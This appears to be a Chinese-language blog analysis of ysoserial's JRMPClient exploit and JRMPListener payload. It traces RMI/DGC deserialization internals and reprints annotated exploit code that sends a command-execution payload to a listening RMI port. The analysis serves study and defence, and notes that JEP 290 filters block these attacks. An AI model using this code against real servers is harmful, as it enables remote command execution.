目录

0 前言

1 payloads/JRMPListener

1.1 payload生成

1.2 gadget链分析

2 使用RMIRegistryExploit攻击上述开启的监听

3 exploit/JRMPClient

3.1 分布式垃圾收集(DGC)

3.2 exploit/JRMPClient代码分析

4 总结


0 前言

ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用,攻击流程就是:

1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个rmi服务并监听在设置的端口

2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener

1 payloads/JRMPListener

1.1 payload生成

首先分析payloads/JRMPLIstener,这部分代码量很少,我给代码添加了注释以便理解:

public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {public UnicastRemoteObject getObject(final String command) throws Exception {//设置jrmp监听端口int jrmpPort = Integer.parseInt(command);//调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构造方法的参数,然后返回一个ActivationGroupImpl类型的对象UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{RemoteRef.class}, new Object[]{new UnicastServerRef(jrmpPort)});//通过反射设置uro对象中的port属性值为jrmpPortReflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);return uro;}}

同时我也给Reflections.createWithConstructor方法添加了注释,如下:

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {//获取constructorClass类的构造方法,从泛型限定来看,constructorClass为classToInstantiate的父类Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);setAccessible(objCons);//这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法newInstance出的对象为constructorClass类型Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);setAccessible(sc);//调用constructorClass父类的构造方法,将consArgs作为参数,返回constructorClass类型的对象return (T)sc.newInstance(consArgs);
}

通过以上代码的分析,最后知道了生成的payload对象为ActivationGroupImpl类型,并将其向上转型为其父类UnicastRemoteObject类型。明白该payload怎么生成后,就该分析它的gadget链了。

1.2 gadget链分析

下面是作者给出的整个调用链:

Gadget chain:* UnicastRemoteObject.readObject(ObjectInputStream) line: 235* UnicastRemoteObject.reexport() line: 266* UnicastRemoteObject.exportObject(Remote, int) line: 320* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208* LiveRef.exportObject(Target) line: 147* TCPEndpoint.exportObject(Target) line: 411* TCPTransport.exportObject(Target) line: 249* TCPTransport.listen() line: 319

我们就根据上述链去分析相应的代码:

1、虽然生成的payload实际对象为ActivationGroupImpl类型,但其被向上转型为了UnicastRemoteObject类型,所以在反序列化时自然会先执行UnicastRemoteObjec的readObject方法,因此在该方法中下断点,如下:

2、跟入reexport()方法,可以看到执行到了如下位置:

3、继续跟进,这里就很熟悉了,在前一篇调试RMI时,后面的流程已经走完了:

4、最终到了TCPTransport类的exportObject(Target var1)方法,如下,即开启了监听,只不过其导出的对象为上述生成的payload本身而已:

到这里,就明白了如果服务端反序列化了该payload,即可开启rmi监听。

2 使用RMIRegistryExploit攻击上述开启的监听

我想既然服务端开启了rmi监听,那客户端应该也是可以使用RMIRegistryExploit去攻击的,但是出现了如下错误:

1、因此还是用调试RMI时的思路,在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,客户端代码很简单:

2、运行客户端代码,服务端即运行到了如下断点位置,可以看到var5值为116,而我们之前调试RMI时,var5的值为80,因此在下面的switch分支中就与正常RMI通信时出现了偏差。

可以看到下面进入了switch的default分支,然后抛出了异常,最终断开了与客户端的连接。

因此使用RMIRegistryExploit时无法攻击payloads/JRMPLIstener开启的rmi监听的。

3 exploit/JRMPClient

下面分析一下exploit/JRMPClient是如何与payloads/JRMPLIstener开启的rmi监听进行通信的。先看一下作者对这个exp的描述:

Generic JRMP client** Pretty much the same thing as {@link RMIRegistryExploit} but* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)* - not deserializing anything (so you don't get yourself exploited ;))

首先说的是这个exp是与RMIRegistryExploit类似的一种攻击方式,在前面第二章我们已经试过了 RMIRegistryExploit是无法成功攻击的。后面列举了两点:

1、攻击目标是远程DGC,也就是分布式垃圾收集,只要服务端有listener监听,就一定存在DGC。

2、不反序列化任何数据,意思就是客户端不会接受任何服务端发送的数据,这样就避免了被对方反过来进行攻击。

3.1 分布式垃圾收集(DGC)

这里就先简单了解一下分布式垃圾收集

在Java虚拟机中,对于一个本地对象,只要不被本地Java虚拟机中的任何变量引用,它就可以被垃圾回收器回收了。

而对于一个远程对象,不仅会被本地Java虚拟机中的变量引用还会被远程引用。如将远程对象注册到Rregistry时,Registry注册表就会持有它的远程引用。

RMI框架采用分布式垃圾收集机制(DGC,Distributed Garbage Collection)来管理远程对象的生命周期。DGC的主要规则是,只有当一个远程对象不受任何本地引用和远程引用,这个远程对象才会结束生命周期。

当客户端获得了一个服务器端的远程对象存根时,就会向服务器发送一条租约通知,告诉服务器自己持有这个远程对象的引用了。此租约有一个租约期限,租约期限可通过系统属性java.rmi.dgc.leaseValue来设置,以毫秒为单位,其默认值为600 000毫秒。如果租约到期后服务器端没有继续收到客户端新的租约通知,服务器端就会认为这个客户已经不再持有远程对象的引用。

因此可以通过与DGC通信的方式发送恶意payload让服务端进行反序列化,从而执行任意命令。

下面我们先动态调试一下DGC相关的通信流程,然后返过去去理解exploit/JRMPClient的代码效果更好:

1、借用之前分析RMI的经验,我仍然在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,然后用exploit/JRMPClient去打开启的监听端口,果然在该方法中的断点处停了下来,通过查看调用栈,如下:

我们先看一下handleMessages的上一级调用,即TCPTransport$ConnectionHandler.run0方法,可以看到读取了一个int数据:

下图又读取了一个short数据,接着读取了一个byte数据,但显示的调试信息有错,因为var15应该为76:

于是switch进入下面的case76,继而进入handleMessage方法中:

2、我们接着回到handleMessages方法中,看到读取了int数据80,于是进入了switch中的case80分支:

2、继续跟进,到了Transport类的serviceCall(final RemoteCall var1)方法:

(1)先进入ObjID.read()方法,可以看到先读取了一个long型数据:

再进入UID.read方法,可以看到连续读取了int、long、short三个数据:

所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象,并且在下图中,会用该ObjID对象与dgcID作比较,dgcID如下:

                          

如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。

(2)接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。

3、同样的,在UnicastServerRef类中的dispatch(Remote var1, RemoteCall var2)方法中读取了一个int值,这里调试信息显示错误,应该是var3的值为1

4、接着有读取了一个long值,如下,依然有错误,应该是var4的值:

5、 接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),

从前面知道var3值为1,因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。

到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。

3.2 exploit/JRMPClient代码分析

经过上面的3.1节的调试,下面的代码就很容易理解了,并且我也对关键代码做了注释,如下:

1、先看JRMPClient类的main方法,主要的就如下添加注释的两行代码:

public static final void main ( final String[] args ) {if ( args.length < 4 ) {System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");System.exit(-1);}//生成指定的命令执行的payloadObject payloadObject = Utils.makePayloadObject(args[2], args[3]);String hostname = args[ 0 ];int port = Integer.parseInt(args[ 1 ]);try {System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));//通信方法makeDGCCall(hostname, port, payloadObject);}catch ( Exception e ) {e.printStackTrace(System.err);}Utils.releasePayload(args[2], payloadObject);}

2、下面就看主要的通信方法makeDGCCall了,其发送的通信数据在上面调试中均已发现其具体作用,我也进行了注释:

 public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {InetSocketAddress isa = new InetSocketAddress(hostname, port);Socket s = null;DataOutputStream dos = null;try {//创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信s = SocketFactory.getDefault().createSocket(hostname, port);s.setKeepAlive(true);s.setTcpNoDelay(true);//获取Socket的输出流OutputStream os = s.getOutputStream();//将输出流包装成DataOutputStream流对象dos = new DataOutputStream(os);//下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法调用前通信的数据dos.writeInt(TransportConstants.Magic); // 1246907721;dos.writeShort(TransportConstants.Version); // 2dos.writeByte(TransportConstants.SingleOpProtocol); // 76//在TCPTransport类的handleMessages方法中获取到了80dos.write(TransportConstants.Call); //80//下面依然是往服务器发送数据,但是经过了序列化处理@SuppressWarnings ( "resource" )final ObjectOutputStream objOut = new MarshalOutputStream(dos);//下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同objOut.writeLong(2); // DGCobjOut.writeInt(0);objOut.writeLong(0);objOut.writeShort(0);//下面数据是在服务端每一个dispatch方法中获取的objOut.writeInt(1); // dirtyobjOut.writeLong(-669196253586618813L);//前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会对其进行反序列化处理。objOut.writeObject(payloadObject);os.flush();}finally {if ( dos != null ) {dos.close();}if ( s != null ) {s.close();}}}

4 总结

终于把ysoserial exploit/JRMPClient中的代码原理搞清楚了,有了前一篇分析RMI的经验,本次分析DGC也得心应手了许多。

1、exploit/JRMPClient与exploit/RMIRegistryExploit类似,可以攻击任何RMIServer,但exploit/JRMPClient是通过dgc通信进行攻击,而exploit/RMIRegistryExploit是通过bind方法绑定恶意payload进行攻击。

2、exploit/JRMPClient可以结合payloads/JRMPListener进行攻击,但exploit/RMIRegistryExploit不能结合payloads/JRMPListener进行攻击

3、JEP 290之后,对RMI注册表和分布式垃圾收集(DGC)新增了内置过滤器,以上攻击方式均失效了。

java 反序列化 ysoserial exploit/JRMPClient 原理剖析相关推荐

  1. java 反序列化 ysoserial exploit/JRMPListener 原理剖析

    目录 0 前言 1 payloads/JRMPClient 1.1 Externalizable 1.2 生成payload 1.3 gadget链分析 2 exploit/JRMPListener ...

  2. 并发编程笔记——第六章 Java并发包中锁原理剖析

    一.LockSupport工具类 JDK中的rt.jar包里的LockSupport是个工具类,它的主要作用是挂起和唤醒线程,该工具类是创建锁和其他同步类的基础.LockSupport类与每个使用它的 ...

  3. java熔断_Hystrix熔断机制原理剖析

    一.前言 在分布式系统架构中多个系统之间通常是通过远程RPC调用进行通信,也就是 A 系统调用 B 系统服务,B 系统调用 C 系统的服务.当尾部应用 C 发生故障而系统 B 没有服务降级时候可能会导 ...

  4. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

  5. Java反序列化漏洞研究

    Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...

  6. (38)【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路

    目录 一.简介: 二.原理: 2.1.Java对象: 2.2.Java 序列化: 2.3.Java 反序列化: 三.函数: 四.工具: 4.1.ysoserial 0.0.4版 4.2. payloa ...

  7. java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit

    0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...

  8. ysoserial java 反序列化 Groovy1

    ysoserial简介 ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload: 由于其中部分payload使用到的低版本JDK中的类 ...

  9. java安全(六)java反序列化2,ysoserial调试

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 ysoserial 下载地址:https://github.com/angelwhu/ysose ...

最新文章

  1. IBM发布Open Liberty 18.0.0.4,支持MicroProfile 2.1和反应性扩展框架
  2. Redis进阶-无所不知的info命令诊断redis
  3. SourceInsight 汉化
  4. 作业21-加载静态文件,父模板的继承和扩展
  5. [Swift]LeetCode944. 删除列以使之有序 | Delete Columns to Make Sorted
  6. 学习、掌握运营岗位必备的基本能力和思维
  7. [置顶] 读取pdf并且在web页面中显示
  8. 阿里云搭建流媒体服务器
  9. C# WinForm调用Shell_NotifyIcon
  10. 嵌入式软件开发之程序架构(一)
  11. Unity3D插件 Doozy UI 学习(一):打开一个面板
  12. Unity Loading转场学习笔记
  13. 文本识别OCR浅析:特征篇
  14. C# Bitmap GetPixel 效率太低,太慢的替代方法
  15. 关于默认网关不可用,DNS服务器未响应问题
  16. 关于windows系统中txt文档的换行符\r\n
  17. iphoneXR的tabbar底部图片的适配
  18. python篮球弹跳训练方法_弹跳训练的正确方法,90%人都不知道|NBA球队弹跳训练解密...
  19. Bounding box regression RCNN我的理解
  20. 转-赵青-《剑侠情缘网络版》开发回顾

热门文章

  1. layui与eazyui的区别_jquery easyui和layui的区别是什么?
  2. Apache ServiceComb — Service Center
  3. DPDK — EAL 环境抽象层
  4. 简述Linux 文件系统的目录结构
  5. OAuth2.0的理解基础
  6. 从各方面数据来看《猎场》为什么收官后热度依旧
  7. 【Mongodb】 Replica set的自动故障切换
  8. [android] 异步http框架与实现原理
  9. 跟互联力量学Asp.net MVC3-安装和创建
  10. golang实现图片上传